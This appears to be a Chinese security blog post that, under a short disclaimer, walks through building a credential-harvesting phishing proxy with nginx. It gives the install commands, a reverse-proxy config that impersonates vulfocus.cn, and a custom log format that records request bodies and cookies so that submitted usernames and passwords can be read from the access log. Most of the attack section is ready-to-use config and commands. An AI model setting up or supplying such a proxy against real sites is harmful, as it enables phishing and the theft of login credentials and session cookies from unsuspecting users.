免责声明
道一安全(本公众号)的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
nginx安装
Ubuntu安装命令:sudo apt-get install nginx -y
Centos安装命令:sudo yum install -y nginx
启动命令:
Ubuntu:service nginx start
Centos:systemctl start nginx.service
也可以用kali,自带nginx
原理
反向代理(reverse proxy)是指用代理服务器来接受外部的访问请求,然后将请求转发给内网的上游服务器,并将从上游服务器上得到的结果返回外部客户端。
如上所述,通过反向代理达到一个中间人的作用,也就可以获取用户和上游网站的通信流量,达到窃取认证凭证的目的。
利用方法
先查看一下本机IP,后面写配置文件用
先配置一下反向代理配置文件
vim /etc/nginx/sites-enabled/reverse-proxy.conf
然后讲下面代码复制到配置文件内
`server``{``listen 8081; # 监听端口``server_name 192.168.172.137; # 本机真实IP``location / {``proxy_pass https://vulfocus.cn/; # 反代的网站,即想要伪造的网站``proxy_set_header Host $host;``proxy_set_header X-Real-IP $remote_addr;``proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;` `}``access_log /var/log/nginx/access_log_8081.log testLog; # 日志保存位置,testLog为自定义的日志格式``}`
本文以伪造:https://vulfocus.cn/网站为例
编辑好后保存退出
然后再编辑nginx配置文件
`vim /etc/nginx/nginx.conf`` `
将下面两行代码写入
`log_format testLog escape=json '$request_filename $http_x_forwarded_for $fastcgi_script_name $document_root $request_body' $http_cookie;``include /etc/nginx/sites-enabled/reverse-proxy.conf;`
然后重启nginx
service nginx restart
然后去访问本机的IP
可以看到伪造出一个和源站一样的界面
然后去查看配置文件里配置的日志文件,就可以看到刚才输入的账号和密码
参考链接:
群内不定期更新各种POC